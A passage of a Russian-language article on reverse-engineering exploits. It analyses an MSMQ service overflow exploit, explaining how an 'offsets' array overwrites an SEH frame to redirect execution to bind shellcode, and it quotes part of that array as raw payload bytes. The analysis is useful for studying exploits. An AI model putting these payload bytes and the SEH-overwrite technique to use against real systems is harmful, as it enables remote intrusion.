Аудит и дизассемблирование exploit'ов


Рисунок1 устройство пакета-убийцы, передаваемого на атакуемый сервер


Сразу же возникает вопрос — в каком именно месте возникает переполнение и каким именно образом происходит передача управления на shell-код? Запустив MSMQ-службу под отладчиком, мы увидим, что массив offsets

ложится аккурат поверх SEH-фрейма, подменяя его содержимое, а shell-код затирает адрес возврата из функции, заменяя RET произвольным адресом, указывающим в "космос", при обращении к которому возбуждается исключение и… управление получает подложный SEH-фрейм, передающий управление на shell-код. Все просто! Главное — отладчик иметь! И… установленную службу Message Queuing, которой в распоряжении кодокопателя может и не быть. К тому же мы договорились, прежде чем запускать exploit (пусть даже под отладчиком!) сначала реконструировать его алгоритм.

А как мы его можем реконструировать? Хорошая головоломка для знатоков! Отбросив RPC-заголовки, мы остаемся только с массивом offsets

и shell-кодом. Очевидно, смещение массива offsets

выбрано не случайно и играет в переполнении ведущую роль, поскольку bind_shellcode

представляет собой вполне "стандартный" shell-код, встречающийся во многих других exploit'ах и совпадающий с ним байт-в-байт.

Рассмотрим массив offsets

поближе:

 

unsigned char offsets[] =

/* entry point (jmp over) */                    ; // SEH-FRAME for Windows 2000

"\xEB\x08\x90\x90"                       ; // ! *prev | jmp lab_0Ah    !

/* mqsvc.exe - pop reg; pop reg; retn; */       ; // !------------------------!

"\xE9\x14\x40\x00"                       ; // !  *handler              !

                                         ; // !------------------------!

 

"\x90\x90\x90\x90\x90\x90\x90\x90"       ; // подбор SEH-фрейма для w2k server

 

/* :LAB_0Ah */

/* entry point (jmp over) */                    ; // SEH-FRAME for W2K Server/AdvServer

"\xEB\x08\x90\x90"                       ; // ! *prev | jmp lab_1Ah            !

/* mqsvc.exe - pop reg; pop reg; retn; */       ; // !----------------- --------------!




Начало  Назад  Вперед